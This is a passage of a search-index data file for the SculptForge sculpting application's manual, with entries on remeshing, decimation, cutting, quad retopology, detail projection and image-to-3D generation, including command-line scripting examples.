as x,y,z Euler degrees masked true (default) leaves masked parts; false moves everything falloff Soft joint width as a share of the size, 0-1 (default 0) symmetry Mirror a masked transform across these planes, e.g. x all Every visible Part (Transpose All)"},{"p":"gizmo.html","c":"Moving, rotating and posing (Gizmo)","a":"speed","h":"Speed","t":"The gizmo recomputes every frame from where the drag started, touching only the vertices that move, and sends only the changed range to the graphics card. On a 1.3 million triangle model a drag frame takes about 2 ms to transform plus about 7 ms to upload, and the release about 20 to 40 ms; undo is as fast."},{"p":"gizmo.html","c":"Moving, rotating and posing (Gizmo)","a":"see-also","h":"See also","t":"Masking Parts Sculpt layers and blend shapes Keyboard and mouse"},{"p":"geometry.html","c":"Subdivide, remesh, decimate and LODs","a":"","h":"Subdivide, remesh, decimate and LODs","t":"These tools change the topology of the active Part: add resolution for detail, rebuild an even surface, reduce the triangle count, make it symmetric, or make a chain of levels of detail for a game engine. This chapter explains what each one does to your mesh and its attributes, and when to use it. All of them work on the active Part and, except the LOD preview, are undoable with Ctrl+Z."},{"p":"geometry.html","c":"Subdivide, remesh, decimate and LODs","a":"at-a-glance","h":"At a glance","t":"Tool Where Triangles Quads Keeps sculpt layers Keeps mask and vertex paint Keeps face groups, hidden faces, UVs Divide (levels) Tool > Geometry > Divide, Ctrl+D x4 per level, lower levels kept Each quad becomes four (Catmull-Clark) Yes Yes (interpolated) Yes Subdivide Tool > Geometry > Subdivide x4 per level Each quad becomes four Yes Yes (interpolated) Yes Voxel Remesh Tool > Remesh > Voxel Remesh Set by resolution All quads (new ones) Baked in Yes (transferred) No (reset); a texture is kept on new UVs with Keep Texture Quad Remesh Tool > Geometry > Quad Remesh Set by Target Polygons All quads, with edge loops Baked in Yes (transferred) Face Groups with Keep Groups; no hidden faces; a texture is kept on new UVs with Keep Texture Decimate Tool > Geometry > Decimate Reduced No, all triangles Yes Yes Yes Mirror And Weld Tool > Geometry > Modify Topology Twice the kept side Yes Yes Yes (mirrored) Yes (mirrored) LOD chain Tool > Export One level per ratio step LOD0 keeps them; lower levels are triangles Yes, on every level Yes Yes"},{"p":"geometry.html","c":"Subdivide, remesh, decimate and LODs","a":"quads-and-triangles","h":"Quads and triangles","t":"SculptForge sculpts on triangles, but it remembers which pairs of triangles were one quad. A model you open from the Bridge, Blender or Maya (OBJ, FBX, PLY, USD) keeps its quads: Wire draws them as quads, without the diagonal, and OBJ, FBX, PLY, USD and Bridge exports write them back as quads, corner for corner. Polygons with more than four sides are split into triangles. The new Plane and Cube are made of quads, and so is the result of a voxel remesh. Sculpting, masking, vertex paint, sculpt layers, undo, Parts and project files all keep the quads. Subdivide turns every quad into four quads. Two things turn quads into triangles: Decimate (and the lower levels of a LOD chain) collapses edges, so its result is all triangles. When the two halves of a quad end up in different face groups, or one half is deleted, they show and export as two triangles. glTF (.glb) and STL only hold triangles, so those exports always write triangles."},{"p":"geometry.html","c":"Subdivide, remesh, decimate and LODs","a":"subdivide","h":"Subdivide","t":"For sculpting at several resolutions use Divide (Ctrl+D), which keeps the lower levels to step back to: see Subdivision levels. Subdivide is the one-way version. Tool > Geometry > Subdivide smooths the mesh with Loop subdivision. Each level multiplies the triangle count by four and rounds off the shape slightly. Sculpt layers are subdivided with the mesh, so blend shapes keep working. Mask, vertex paint and UVs are interpolated; face groups and hidden faces carry over. Each quad becomes four quads; triangles become four triangles. SculptForge refuses to subdivide past 50 million triangles. Note: Subdivide replaces the mesh with a denser one and drops any subdivision levels: it subdivides the level you are on, which becomes the new base, and the status line says so (undo brings the levels back). Voxel Remesh, Decimate and Quad Remesh do the same. To add triangles only where you sculpt, use Dynamic topology. Tip: The bar along the top shows the triangle count of the whole scene. A few million triangles sculpt smoothly on a recent GPU; go up a level only when you need finer detail."},{"p":"geometry.html","c":"Subdivide, remesh, decimate and LODs","a":"voxel-remesh","h":"Voxel remesh","t":"Tool > Remesh > Voxel Remesh rebuilds the active Part as an even, watertight surface. Use it to: fuse overlapping pieces into one surface (append a sphere, overlap it, merge, remesh); even out stretched triangles after heavy Move or Tendril work; clean up scans, splat conversions and AI-generated models before sculpting. The Resolution slider next to the button sets how many voxels span the longest side of the model (64 to 400 in the palette, default 200). Higher keeps more detail and makes more triangles. Wireframe of a model before and after a voxel remesh What happens to your data: Sculpt layers are baked into the surface: the result has no layers. Mask and vertex paint are transferred from the nearest original vertex. Face Groups, hidden faces and UVs are reset (everything becomes visible, one face group). Hidden parts are remeshed too. A painted texture is kept with Keep Texture (on by default, shown next to the button when the Part has a texture): the result gets Auto UVs and the texture is projected onto it, every layer included, in the same undo step. This runs in the background (Auto UV of a few hundred thousand triangles takes several seconds) with a progress bar and Cancel. Off: the texture is dropped. See Texture painting. Separate pieces that don't touch stay separate pieces; overlapping ones are merged. The new surface is made of even quads (the original's quads are rebuilt, not kept). Keep Masked (off by default): masked areas keep their triangles exactly, detail included, and only the rest is remeshed. The new surface is joined to the masked area along the mask's edge by a narrow strip of triangles, so the model stays closed. A triangle counts as masked when all three of its corners are at least half masked. A ragged mask edge is tidied by itself (#67): where it touches itself the corner triangles are remeshed, masked spots smaller than the new polygons are remeshed with the rest, and narrow gaps between masked areas are kept; the status line says when it did. If it still can't be joined, the status line says what to change (blur or grow the mask, or unmask where two parts overlap) and nothing changes. Command: remesh keep_masked=true. To remesh several Parts into one, first combine them with Merge visible... or Merge down... in Parts."},{"p":"geometry.html","c":"Subdivide, remesh, decimate and LODs","a":"quad-remesh","h":"Quad Remesh","t":"Tool > Geometry > Quad Remesh is automatic quad retopology: it rebuilds the Part as clean quads whose edge loops follow the forms, close to a target polygon count, with Keep Groups, Adaptive Size, vertex paint density and symmetry. Project All (Tool > Parts > Project) brings the sculpted detail back onto the new topology after you divide it. Both have their own chapter: Quad retopology and detail projection."},{"p":"geometry.html","c":"Subdivide, remesh, decimate and LODs","a":"close-holes","h":"Close Holes","t":"Tool > Geometry > Close Holes caps every open boundary of the active Part, such as a hole, an open bottom or the rim of an extracted shell. The new patch's triangles are sized like the ones around the hole, and the patch follows the curve of the surface around it, so a hole in a sphere closes round, not flat. The rest of the Part is not changed. The patches get a face group of their own, so you can mask or hide them in one click. Close Holes makes an open scan or an extracted part watertight without a remesh. Ctrl+Z brings the holes back."},{"p":"geometry.html","c":"Subdivide, remesh, decimate and LODs","a":"decimate","h":"Decimate","t":"Tool > Geometry > Decimate reduces the triangle count while keeping the shape, using quadric edge collapse. The Keep slider next to the button sets the fraction of triangles to keep (0.05 to 0.95, default 0.50). Decimation keeps open borders in place, and because it only removes vertices, every remaining vertex keeps its exact sculpt layer offsets, mask and vertex paint. Face Groups, hidden flags and UVs survive on the remaining triangles. The result is all triangles: quads are not kept. With Keep Masked (under the button, off by default) masked vertices are never removed, so masked areas keep their triangles exactly and only the rest is decimated (decimate keep_masked=true). Use it to make a lighter version of a finished sculpt for export, 3D printing or a review, or to bring a dense scan down to something you can work with. Tip: Decimate a duplicate Part (Tool > Parts > Duplicate) when you want to keep the full-resolution sculpt in the same project."},{"p":"geometry.html","c":"Subdivide, remesh, decimate and LODs","a":"mirror-and-weld","h":"Mirror And Weld","t":"Mirror And Weld, in Tool > Geometry > Modify Topology, makes a model symmetric: it keeps the half on the side of the chosen axis (+X is the model's left, your right when you look at its face), mirrors it onto the other side and welds the two halves along the middle into one watertight mesh. Use it after sculpting one side without symmetry, to finish a half model, or to repair a model whose sides have drifted apart. A head with a scar and a brow ridge on one side, then the same head after Mirror And Weld X Pick the axis with X, Y and Z beside the button (X is on by default). With several on, they apply one after the other. The mirror plane goes through the world's origin, the same plane symmetry uses. Polygons that cross it are cut on it, so the seam is clean wherever the model sits. Points on an open edge within 0.1% of the model's size from the plane are welded onto it, which closes a half model whose seam isn't exactly at 0. Face Groups, vertex paint, the mask, UVs, quads and sculpt layers are kept; the mirrored side takes the kept side's. Subdivision levels are removed (undo restores them), as with the other tools on this page. To keep the other side, flip the model first with Tool > Deformation > Mirror, or run mirror_and_weld side=negative."},{"p":"geometry.html","c":"Subdivide, remesh, decimate and LODs","a":"mirror","h":"Mirror","t":"Tool > Deformation > Mirror flips the Part across the plane through the origin on the chosen axes, with its surface still facing outward. Face Groups, vertex paint, UVs and layers come along; subdivision levels are removed (undo restores them). mirror pivot=center flips it in place about its own centre instead."},{"p":"geometry.html","c":"Subdivide, remesh, decimate and LODs","a":"lod-chains","h":"LOD chains","t":"A level-of-detail chain is a series of lighter copies of the model for game engines: LOD0 is the full sculpt, and each level after it has a fixed fraction of the triangles of the one before. Open Tool > Export. Set LODs (2 to 6 levels, including LOD0) and Reduction (the triangle ratio from one level to the next, 0.1 to 0.9, default 0.50). Click Generate LOD chain. The Export sub-palette with a generated LOD chain A table lists each level with its triangle count and its budget as a percentage of LOD0. Click a level to preview it on the canvas (wireframe turns on and sculpting pauses); click Sculpt in the table to go back to the editable mesh. The next stroke, or a change to LODs or Reduction, clears the chain; click Generate LOD chain again to rebuild it. Blend shapes (sculpt layers) are kept on every level, so morph targets work at every LOD. To write the chain to disk: LOD chain (GLB per level) in the same sub-palette, or File > Export LOD Chain..., writes one GLB per level named _LOD0.glb, _LOD1.glb and so on. Send to Unreal and Export FBX for Unreal... pack the LODs into one FBX for Unreal's automatic LOD import. See Exporting for these exports and their options. Note: The preview in Tool > Export is of the active Part. The exports themselves build a chain for every visible Part."},{"p":"geometry.html","c":"Subdivide, remesh, decimate and LODs","a":"undo-and-safety","h":"Undo and safety","t":"Subdivide, remesh, Quad Remesh, decimate, Mirror And Weld, Mirror and delete hidden are single undo steps on the active Part. They can use a lot of memory on dense meshes, and undo keeps a full copy of the previous mesh for each of them. Before a big change on a heavy sculpt: Snapshot (File > Save Snapshot) keeps a timestamped copy of the scene without touching your project file; see Projects. Duplicate the Part to keep the old version side by side."},{"p":"geometry.html","c":"Subdivide, remesh, decimate and LODs","a":"scripting","h":"Scripting","t":"Command Options subdivide levels 1-4 (default 1) remesh resolution 32-512 voxels across the longest side (default 200); keep_texture (default true) decimate ratio 0.01-1 of the triangles to keep (default 0.5), or triangles for an exact target qremesh target quads (default 5000), adaptive, keep_groups, detect_edges, use_vertexpaint, symmetry, keep_original, keep_texture; see Quad retopology close_holes max_edges closes only holes with at most that many boundary edges (default 0: all); refine (default true; false: as few triangles as possible); new_group (default true) mirror_and_weld axis x, y, z or several, e.g. xz (default x); side positive (default) or negative mirror axis (default x); pivot origin (default) or center export_lods path (base name), levels 1-8 including LOD0 (default 4), ratio 0.1-0.9 (default 0.5) sculptforge-cli -c 'open path=scan.obj; remesh resolution=256; decimate triangles=200000; export_lods path=out/rock.glb levels=4 ratio=0.5' The command line accepts a wider remesh range (32-512) than the palette slider."},{"p":"geometry.html","c":"Subdivide, remesh, decimate and LODs","a":"see-also","h":"See also","t":"Quad retopology and detail projection: Quad Remesh and Project All Parts: merge pieces before a remesh, duplicate before a decimate Sculpt layers and blend shapes Exporting: LOD chains, FBX for Unreal, Send to Unreal Image and text to 3D: generated models are voxel-remeshed for sculpting"},{"p":"cut.html","c":"Cut: line, lasso, rectangle and polyline","a":"","h":"Cut: line, lasso, rectangle and polyline","t":"Cut cuts the active Part with a shape you draw on the screen. The shape is pushed straight into the view, so what you see inside it is what gets cut, front and back. Every cut is one undo step, and a closed Part stays closed (watertight), so you can keep sculpting, remeshing or 3D printing it."},{"p":"cut.html","c":"Cut: line, lasso, rectangle and polyline","a":"pick-a-shape","h":"Pick a shape","t":"Hold Ctrl+Shift and click the brush tile on the shelf (or press B) to pick a Cut shape next to Select Rectangle and Select Lasso, or use the shape buttons at the top of Tool > Cut: Shape How to draw it Cut Line Ctrl+Shift+drag a straight line. The shaded side is cut; hold Alt as you let go to cut the other side. Cut Lasso Ctrl+Shift+drag a free-hand outline. Its inside is cut. A lasso that crosses itself keeps its biggest loop. Cut Rectangle Ctrl+Shift+drag a rectangle. Its inside is cut. Cut Polyline Ctrl+Shift+click point after point. Click the first point again to cut the polygon; double-click or press Enter to cut along the open, bent line (the shaded side; Alt for the other); Esc drops it. While a Cut shape is picked, Ctrl+Shift cuts instead of hiding; pick Select Rectangle or Select Lasso again to hide parts of the model."},{"p":"cut.html","c":"Cut: line, lasso, rectangle and polyline","a":"pick-a-mode","h":"Pick a mode","t":"Tool > Cut has four modes: Mode What it does Away Removes everything the shape covers, through the whole Part, and closes the cut with a flat cap. A line slices the Part in two and keeps one side; a lasso or rectangle drawn inside the outline cuts a hole right through. In Cuts a flat-bottomed pocket where the shape covers the Part. Depth sets how deep, measured from the nearest point under the shape. Add Adds the shape, extruded towards you by Depth and joined to the Part (a boolean union): panels, ridges, buttons, sockets. Clip Removes nothing. A line presses its shaded side flat onto itself. A lasso, rectangle or closed polyline presses everything outside it onto its outline. Points keep their depth, so you get flat planes and clean silhouettes through the whole Part. The mask holds points back. Depth is a share of the Part's size (0.10 = a tenth of its largest side), so it means the same on a small or large model."},{"p":"cut.html","c":"Cut: line, lasso, rectangle and polyline","a":"what-the-cut-keeps","h":"What the cut keeps","t":"The surface outside the cut is kept exactly, with its mask, vertex colours, UVs, face groups and sculpt layers; only the triangles the shape crosses are split. The cap (and the walls of a pocket or added shape) are a face group of their own, so you can select, mask or hide them in one click (Face Groups). The caps are flat with long triangles. To sculpt on them, give the Part even topology first: Tool > Remesh or Dynamic topology (Subdivide, remesh, decimate and LODs). Only the active Part is cut; the other Parts are untouched. Cut each Part on its own, or merge them first. With symmetry on (X, Y, Z or radial on the top shelf), the mirror image of the shape cuts too. An open Part (a plane, a scan with holes) is trimmed without a cap. Add needs a closed Part. Forge Spheres and Parts with a micro level must be made into a plain mesh first."},{"p":"cut.html","c":"Cut: line, lasso, rectangle and polyline","a":"scripting","h":"Scripting","t":"The cut command takes the shape (line, lasso, rect, polyline), its points in normalised screen coordinates, the mode (away, in, add), depth, flip, closed and an optional view_proj matrix; see Scripting."},{"p":"retopology.html","c":"Quad retopology and detail projection","a":"","h":"Quad retopology and detail projection","t":"Quad Remesh rebuilds a sculpt as clean, all-quad topology whose edge loops follow the forms. Project All then moves a mesh onto the surface of other Parts, so the detail of the original sculpt comes back onto the new topology. Together they turn a dense, messy sculpt (a voxel remesh, a scan, an AI-generated model) into a light quad mesh you can divide, sculpt on, unwrap and animate. A lion bust after Quad Remesh: 5,000 quads whose loops follow the mane, shown with Wire"},{"p":"retopology.html","c":"Quad retopology and detail projection","a":"the-usual-workflow","h":"The usual workflow","t":"Select the sculpt and open Tool > Remesh (the same Quad Remesh controls are also under Tool > Geometry). Under Quad Remesh, turn on Keep Original. Set Target Polygons (for example 5000) and click Quad Remesh. It runs in the background: a progress bar replaces the button, and Cancel stops it. The result replaces the Part, and the sculpt as it was is kept as a hidden Part called \"name Original\" right below it. Divide the new mesh two or three times (Tool > Geometry > Subdivide, Ctrl+D). Show the original again (the eye in Tool > Parts) and click Project All under Tool > Parts > Project. The divided quads snap onto the sculpt and take its vertex paint. Hide or delete the original. You now have the same sculpt on clean quads. Left: the retopology of a sculpted sphere. Right: divided twice and projected, the ridges and the crease are back Both steps are single undo steps (Ctrl+Z)."},{"p":"retopology.html","c":"Quad retopology and detail projection","a":"quad-remesh","h":"Quad Remesh","t":"Tool > Remesh > Quad Remesh (also under Tool > Geometry) works on the active Part. Control What it does Quad Remesh Starts the retopology. The status line reports the result and its quality, e.g. \"Quad Remesh: 5072 quads from 47214 triangles (100% quads) in 6.5 s. Quality: 260 poles (141 x3, 113 x5, 6 other), corners 8.5 deg off square, distance to the sculpt 0.106% mean / 1.27% max of its size\" Method Quad Remesh 2 (the default): the whole layout is solved at once as an integer grid, so poles appear only where the form needs them and loops run unbroken. Legacy: the method of SculptForge 0.9, kept for comparison and for closed guide loops Target Polygons About how many quads to make (100 to 200,000 on the slider, more from scripts). The result is usually within 5% of it Half / Same / Double Set the target to half, the same as or twice the Part's current polygon count Adaptive Size 0 makes quads all about the same size. Higher values make smaller quads where the surface curves and bigger ones on flat areas, for the same total Keep Groups Edge loops run exactly along the face group borders, and the result keeps the face groups Detect Edges Hard edges get an edge loop, so boxes and bevels stay crisp (on by default). Quad Remesh 2 takes faces meeting at more than about 60 degrees along a line at least a few quads long (a scan's or a sculpt's deep creases are left to the flow); the legacy method any edge over 50 degrees Use Vertex Paint Paint where you want density: red areas get up to four times the quads, blue areas down to a quarter, white areas are unchanged Symmetry Remesh one half and mirror it, welded on the seam, for exactly symmetric topology (on by default). It mirrors on the axis chosen in Sculpt > Symmetry & Gizmo (X if none), across the model's own middle plane: the world's centre plane when the model is symmetric about it, otherwise the plane through the model's middle, so a model moved away from the centre works too. A model that isn't mirror-symmetric is remeshed whole instead, and the status line says \"Symmetry off: the model isn't mirror-symmetric\"; one that is nearly symmetric (a bump on one side) gets mirrored topology that follows each side's own surface Keep Original Keep the Part as it was, hidden, below the new one, ready for Project All. Off: the Part is replaced (undo brings it back) Keep Masked Masked areas keep their triangles exactly, as a fixed piece: only the unmasked part is remeshed (the target counts its quads), and it's joined to the masked part along the mask's edge with a strip of triangles, so the model stays closed. If the mask's edge can't be joined up, the status line says so and nothing changes (off by default; qremesh keep_masked=true) Keep Texture Shown when the Part has a painted texture (on by default): Auto UV the result and project the texture onto it. Off: the texture is dropped Quad Remesh Guides Picks the guides brush: draw curves on the model for the edge loops to follow. See Quad Remesh Guides Delete Last / Clear Delete the last guide curve drawn (with its mirror copies), or all of them Curves Strength How far around each guide the edge flow follows it: 0 = only the loop on the curve, 100 = about six quads to each side (default 50) Quality Report Shown after a Quad Remesh of the active Part: the poles (vertices with other than four edges, by how many edges), how far quad corners are from square (mean and worst 1%), and how far the new surface is from the sculpt (mean and maximum, in % of its size) What happens to your data: The result is all quads (stored as pairs of triangles, so Wire draws quads and OBJ, FBX, PLY, USD and Bridge export them as quads), closed wherever the sculpt is closed. Open edges of the sculpt stay open, along the same outline. Sculpt layers are baked into the surface: the result has no layers. Mask and vertex paint are interpolated from the closest point of the sculpt (vertex paint is blurred to the new resolution until you project it back onto a divided co"},{"p":"retopology.html","c":"Quad retopology and detail projection","a":"guiding-the-edge-flow","h":"Guiding the edge flow","t":"Quad Remesh Guides put an edge loop exactly where you draw: around the eyes, the mouth, a joint. See below. Face Groups are as strong a guide. Paint a group around an eye, the mouth or a muscle, turn on Keep Groups, and loops will circle it. See Face Groups. Vertex Paint sets the density with Use Vertex Paint: paint the face red and the back of the head blue to spend the quads where they matter. Adaptive Size around 0.5 gives detailed areas more quads without your help; use 0 for an even mesh, for example before more sculpting."},{"p":"retopology.html","c":"Quad retopology and detail projection","a":"how-it-works","h":"How it works","t":"Quad Remesh 2 builds the layout the way recent research quad remeshers do (integer-grid maps, as in Mixed-Integer Quadrangulation, Bommes, Zimmer and Kobbelt 2009, and Integer-Grid Maps for Reliable Quad Meshing, Bommes et al. 2013), in its own implementation: A working surface. The sculpt is brought to about three triangle edges per quad edge with even triangles (dense sculpts are first decimated in parallel blocks), keeping open edges, face group borders (Keep Groups) and real hard edges (Detect Edges; creases shorter than two quads or softer than about 55 degrees at the quad scale are sculpt detail, not hard edges) on their exact place. Curvature and directions. The principal curvature directions, smoothed over about one quad, and a smooth cross field (the directions the edges take) solved over the whole surface at once: it follows the curvature where the surface clearly bends one way (limbs, lips, brows, ridges), the feature lines exactly, and is as smooth as possible elsewhere. It is solved on a copy of the surface smoothed at the quad scale, so pores and scratches don't add poles. Vertex Paint density turns it the way a change of density needs. The grid. A seamless parametrization whose integer lines are the edge loops: feature lines and guides lie exactly on grid lines, singularities (the poles) exactly on grid points, and across the seams the grid only turns by quarter turns. Its integer unknowns are rounded nearest-first, each round followed by a re-solve. Extraction of that grid at the target density (not split from a coarser one), every face a quad; the rare places where the grid folds are repaired locally and stay all quads. Loop-aware relaxation: smoothing on the sculpt in which a vertex can slide along a loop that runs over a ridge but not off it, then projection onto the sculpt. With Symmetry one half is remeshed with the mirror plane as a feature line and mirrored, so the field and the result are exactly symmetric. The result is the same every time for the same settings. The lion scan at 5,000 quads. Left: the legacy method, 1,028 poles. Right: Quad Remesh 2, 199 poles, with loops along the mane and round the muzzle and a clean box on the base Compared with the legacy method on the same models and targets, Quad Remesh 2 has a quarter to a fiftieth of the poles at the same distance to the sculpt (poles, then the mean angle of quad corners off 90 degrees, then the mean distance in % of the model's size; legacy first): Model Target Poles Corners off square Distance Lion scan (47k triangles) 2,000 433 to 116 22.7° to 7.8° 0.295% to 0.290% 5,000 1,028 to 199 18.2° to 7.9° 0.125% to 0.120% 10,000 1,665 to 398 14.5° to 8.3° 0.059% to 0.060% ICT head (28k, symmetry) 2,000 269 to 91 12.6° to 8.9° 0.108% to 0.101% 5,000 511 to 114 8.8° to 8.0° 0.039% to 0.040% 10,000 727 to 214 6.6° to 7.7° 0.015% to 0.018% Creature from a sphere (82k, symmetry) 2,000 96 to 22 4.6° to 8.5° 0.035% to 0.037% 10,000 308 to 37 3.4° to 6.8° 0.007% to 0.007% Hard-surface part (3 boxes) 2,000 56 to 24 2.0° to 0.7° 0.082% to 0.000% 10,000 24 to 28 0.3° to 0.7° 0.000% to 0.000% Sculpted sphere (1.3M) 2,000 84 to 8 4.3° to 3.9° 0.037% to 0.035% 10,000 401 to 8 4.3° to 5.2° 0.008% to 0.007% On smooth sculpts with Adaptive Size the corners are a few degrees further from square than the legacy method's: the grid bends to vary the quad size instead of adding poles. Set Adaptive Size to 0 for the squarest grid. A 1.3-million-triangle sculpt takes about 4 seconds to 5,000 quads on a 10-core M1 Pro; denser sculpts are first decimated in parallel blocks to a working resolution: 5.2 million triangles take 7 to 9 seconds (1.3 GB at most) and 21 million about 20 seconds (4.7 GB), at 2,000 to 10,000 quads. The legacy method (Method > Legacy, method=legacy) is the Instant Meshes style field-aligned method of SculptForge 0.9 (Jakob, Tarini, Panozzo and Sorkine-Hornung, 2015): faster on small models but with many more poles, and its result is extracted at twice "},{"p":"retopology.html","c":"Quad retopology and detail projection","a":"quad-remesh-guides","h":"Quad Remesh Guides","t":"Draw curves on the sculpt and Quad Remesh puts an edge loop along each one, and turns the flow around it to follow, like quad remesh Guides brush. With Quad Remesh 2 an open curve is an exact edge loop: the grid line lies on it. Closed loops (round an eye) and loops across the symmetry plane are, for now, done by the legacy method for that piece (the status line says so). Use them where the topology has to work for animation: rings around the eyes and the mouth, loops around the shoulders, elbows and knees, a line down the middle of a muscle. Left: Quad Remesh on its own. Middle: loops drawn round the eyes and the mouth with Quad Remesh Guides. Right: Quad Remesh again, with an edge loop on every curve and rings around them Click Quad Remesh Guides under Tool > Geometry > Quad Remesh (or pick it in the brush picker, B). The cursor becomes a small ring. Drag on the model to draw a curve. It is drawn on the surface and snapped to it. A curve that ends near where it started is closed into a loop: draw round an eye and let go where you began. With symmetry on (X in the top shelf), each curve is mirrored to the other side as you draw. A curve that is its own mirror image, a loop round the mouth across the middle, is kept once. Click Quad Remesh. The status line says how many guides it followed. Editing the curves: Alt+click a curve to delete it (it turns red under the cursor while Alt is held), with its mirror copy. Delete Last removes the last curve drawn; Clear removes them all. Ctrl still masks and Shift still smooths while the guides brush is picked, and dragging the background still turns the view. Pick any brush to sculpt again. The guides belong to the Part: each Part has its own, they are saved in the project, and Keep Original gives the kept original a copy, so you can change them and remesh again. They show over the model, solid while the guides brush is picked and thin otherwise, so you can see the loop Quad Remesh put on them. Drawing and deleting guides isn't part of undo (Ctrl+Z undoes your sculpting as before). Good to know: Quad Remesh snaps the guides onto the sculpt as it is when you run it, so sculpting after drawing them is fine. A guide left far from the surface, for example after moving the Part with the Gizmo, is ignored and the status line says so: draw it again. A loop gets an even number of quads around it, so it closes cleanly. Two guides closer together than about a quad compete for the same loop; draw them further apart or raise Target Polygons. A very small loop, about 25 quads round or fewer, may not close, and the edges just outside it bend to fit the extra quads the next ring needs: raise Target Polygons. Curves Strength doesn't change the loop on the curve, only how far around it the other edges turn to follow. Lower it when guides are close to each other or to the symmetry plane."},{"p":"retopology.html","c":"Quad retopology and detail projection","a":"how-the-guides-work","h":"How the guides work","t":"Each curve constrains Quad Remesh's cross field (the directions the edges take) to run along it, falling off over a few quads (Curves Strength), and adds a lattice line on the curve, so one edge loop lies on it. Along a closed curve the lattice corners are placed at even steps, an even number of them (a ring of quads round a disk always has an even number of sides), so the loop meets itself without a kink. With symmetry Quad Remesh remeshes one half, so a loop across the middle is cut there: its corners start on the seam, where it meets its mirror image. Quad Remesh then checks the loops and the quads near the guides; if a loop came out broken or a fan of seven or more edges sits by a guide, it tries again with a different start for the field and keeps the best. Measured on a sphere with a circular guide around an \"eye\", the edges near the curve are within about 2 to 8 degrees of its direction (about 22 degrees without the guide), and the loop closes."},{"p":"retopology.html","c":"Quad retopology and detail projection","a":"project-all","h":"Project All","t":"Tool > Parts > Project > Project All projects every other visible Part onto the active one. Each vertex looks along its normal, both ways, and moves to the nearest surface it finds within Dist; if there is none straight along the normal, it takes the closest point within Dist. Control What it does Project All Projects the visible Parts onto the active one (one undo step) Dist How far to search, as a fraction of the Part's size (bounding-box diagonal). Default 0.02. Raise it if parts don't pick up the detail; lower it where two surfaces are close together (lips, eyelids, fingers) PA Blur Smooths the projected result this many times, to soften noise from the source Mean Where there is surface on both sides of a vertex, settle halfway between them instead of on the nearest Geometry Project the shape (into the active sculpt layer, if you have layers) Vertex Paint Project the vertex paint (into the active paint layer) when a source has any The mask protects: fully masked vertices don't move; partly masked ones move part of the way. Mask the areas you have already fixed and project again with a different Dist. Hidden faces of the source are ignored, and hidden parts of the target don't move. Project All is fast enough to use on dense meshes: about 0.6 seconds to project 1.25 million vertices from a 1.3-million-triangle sculpt. Tip: Project after each division, not only at the end: divide once, Project All, divide again, Project All. Each pass starts closer to the sculpt, so a small Dist is enough and thin parts don't jump to the wrong surface."},{"p":"retopology.html","c":"Quad retopology and detail projection","a":"scripting","h":"Scripting","t":"Command Options qremesh method (v2, the default, or legacy), quality (report poles, corner angles and the distance to the sculpt, default true), target (16 to 2,000,000, default 5000), adaptive (0-1, default 0.5), keep_groups, detect_edges (default true), use_vertexpaint, symmetry (x, y or z; off by default in scripts; the mirror plane is found from the model), symmetry_center (use this plane instead, e.g. 0 for the world's centre), keep_original, smooth (relaxation passes, default 6), seed (legacy method only; Quad Remesh 2 has no random start), keep_texture (default true), guides (follow the Part's Quad Remesh Guides, default true), curves_strength (0-100, default 50) qremesh_guide points (the curve, \"x,y,z x,y,z ...\"), view (project the points onto the surface along this direction, as a stroke from the camera; default: each point to the closest surface point), symmetry (x, xz...; mirror the curve) qremesh_guide_delete_last, qremesh_guides_clear, qremesh_guides_info Delete the last curve, delete all, list them project_all distance (0.001-1, default 0.02), mean, blur (0-20), geometry (default true), vertexpaint (default true), source (one Part's name instead of all visible ones) sculptforge-cli -c 'open path=scan.glb; qremesh target=8000 adaptive=0.3 keep_original=true; subdivide levels=2; part_visibility index=1 visible=true; project_all distance=0.02; export_fbx path=retopo.fbx' sculptforge-cli -c 'open path=head.glb; qremesh_guide points=\"0.2,0.3,2 0.3,0.4,2 0.4,0.3,2 0.3,0.2,2 0.2,0.3,2\" view=0,0,-1 symmetry=x; qremesh target=4000 symmetry=x curves_strength=70' From scripts qremesh runs straight away (it doesn't return until it's done); in the app the button runs it in the background."},{"p":"retopology.html","c":"Quad retopology and detail projection","a":"see-also","h":"See also","t":"Subdivide, remesh, decimate and LODs: voxel remesh first to fuse pieces, subdivide after Quad Remesh Parts: show, hide and duplicate the original Face Groups and visibility: guides for Keep Groups Projects: Quad Remesh Guides are saved with each Part Texture painting: Auto UV on the new topology"},{"p":"generate-3d.html","c":"Image and text to 3D","a":"","h":"Image and text to 3D","t":"SculptForge can turn a picture or a written description into a full 3D model that you can sculpt straight away. This chapter covers the Generate 3D window, the services it can use (free Hugging Face models, your own ComfyUI server, paid fal.ai or Meshy, your own command line, or an offline blockout) and the offline image tools: relief, inflate and stamp. The Generate 3D window with a sketch loaded and the Hugging Face service selected"},{"p":"generate-3d.html","c":"Image and text to 3D","a":"how-it-works","h":"How it works","t":"You give SculptForge an image (a sketch, concept art, a photo of a figurine) or a short description. The service you picked reconstructs a complete mesh: front, back, limbs and all. SculptForge opens the result as a new scene and, unless you choose otherwise, Quad Remeshes it into clean quads with one subdivision level that holds the detail, ready to sculpt and subdivide. Nothing leaves your computer until you choose a hosted service and press Generate 3D model. For exactly what is sent where, see AI services and privacy below."},{"p":"generate-3d.html","c":"Image and text to 3D","a":"open-the-generate-3d-window","h":"Open the Generate 3D window","t":"Any of these opens it: Drop an image file (PNG, JPG, BMP, TGA, PSD or GIF) onto the SculptForge window. The image is loaded as the picture for the From image tab and the window opens. Open Mesh > Generate 3D and click Generate 3D. Press F3, type generate and press Enter. The window has two tabs, From image and From text. Warning: A generated model replaces the current scene without asking, and arrives as a new, untitled scene. Save your work (Ctrl+S) before you generate."},{"p":"generate-3d.html","c":"Image and text to 3D","a":"generate-from-an-image","h":"Generate from an image","t":"On the From image tab, click Choose image... (or drop a file onto the window). A preview and the image size appear. Pick a service in the drop-down under Full 3D model (AI reconstruction). The default is Hugging Face free models. Set the service's options (model, token or key, see below). Choose Remesh and its Resolution (96 to 400, default 256; higher keeps more detail): Quad Remesh (the default): clean, all-quad topology of about resolution² / 2 quads (32768 at 256), then one subdivision level projected onto the model so the detail survives. Generated meshes often have holes and overlapping pieces, so a voxel pass cleans the mesh up first. Step down to the quad cage with Shift+D. Voxel remesh: one even, watertight triangle surface. Faster (about a second). Off (raw mesh): the model exactly as the service made it. Click Generate 3D model. A progress bar shows the queue position and progress; Cancel stops the job. When it finishes, the status line reports the size before and after remeshing, for example \"Generated model imported (47214 tris, remeshed to 133540 quads (2 subdivision levels)) - ready to sculpt\". Quad Remesh takes about 10 to 25 seconds after the model arrives (a 47,000-triangle Hunyuan3D head took 22 s on a busy 10-core computer); the progress bar shows it and the window stays usable."},{"p":"generate-3d.html","c":"Image and text to 